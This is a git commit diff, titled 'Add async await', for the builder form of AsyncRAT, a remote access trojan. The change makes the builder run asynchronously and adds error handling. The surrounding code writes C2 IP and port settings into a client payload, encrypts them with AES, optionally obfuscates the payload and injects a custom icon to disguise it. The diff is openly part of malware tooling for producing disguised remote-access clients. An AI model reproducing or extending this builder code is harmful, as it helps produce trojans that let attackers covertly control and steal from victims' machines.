Add async await

This commit is contained in:
NYAN CAT 2019-06-15 18:24:45 +03:00
parent fd30af56f7
commit 32da8715c4

View File

@ -12,6 +12,7 @@ using System.IO;
using System.Linq;
using dnlib.DotNet.Emit;
using Server.RenamingObfuscation;
using System.Threading.Tasks;
namespace Server.Forms
{
@ -170,7 +171,7 @@ namespace Server.Forms
catch { }
}
private void BtnBuild_Click(object sender, EventArgs e)
private async void BtnBuild_Click(object sender, EventArgs e)
{
if (listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) return;
@ -194,6 +195,9 @@ namespace Server.Forms
saveFileDialog1.OverwritePrompt = false;
saveFileDialog1.FileName = "Client";
if (saveFileDialog1.ShowDialog() == DialogResult.OK)
{
btnBuild.Enabled = false;
await Task.Run(() =>
{
WriteSettings(asmDef);
if (chkObfu.Checked)
@ -211,6 +215,7 @@ namespace Server.Forms
{
IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text);
}
});
MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
SaveSettings();
this.Close();
@ -220,6 +225,7 @@ namespace Server.Forms
catch (Exception ex)
{
MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
btnBuild.Enabled = true;
}
}
@ -312,6 +318,8 @@ namespace Server.Forms
}
private void WriteSettings(ModuleDefMD asmDef)
{
try
{
var key = Methods.GetRandomString(32);
var aes = new Aes256(key);
@ -410,6 +418,11 @@ namespace Server.Forms
}
}
}
catch (Exception ex)
{
throw new ArgumentException("WriteSettings: " + ex.Message);
}
}
private readonly Random random = new Random();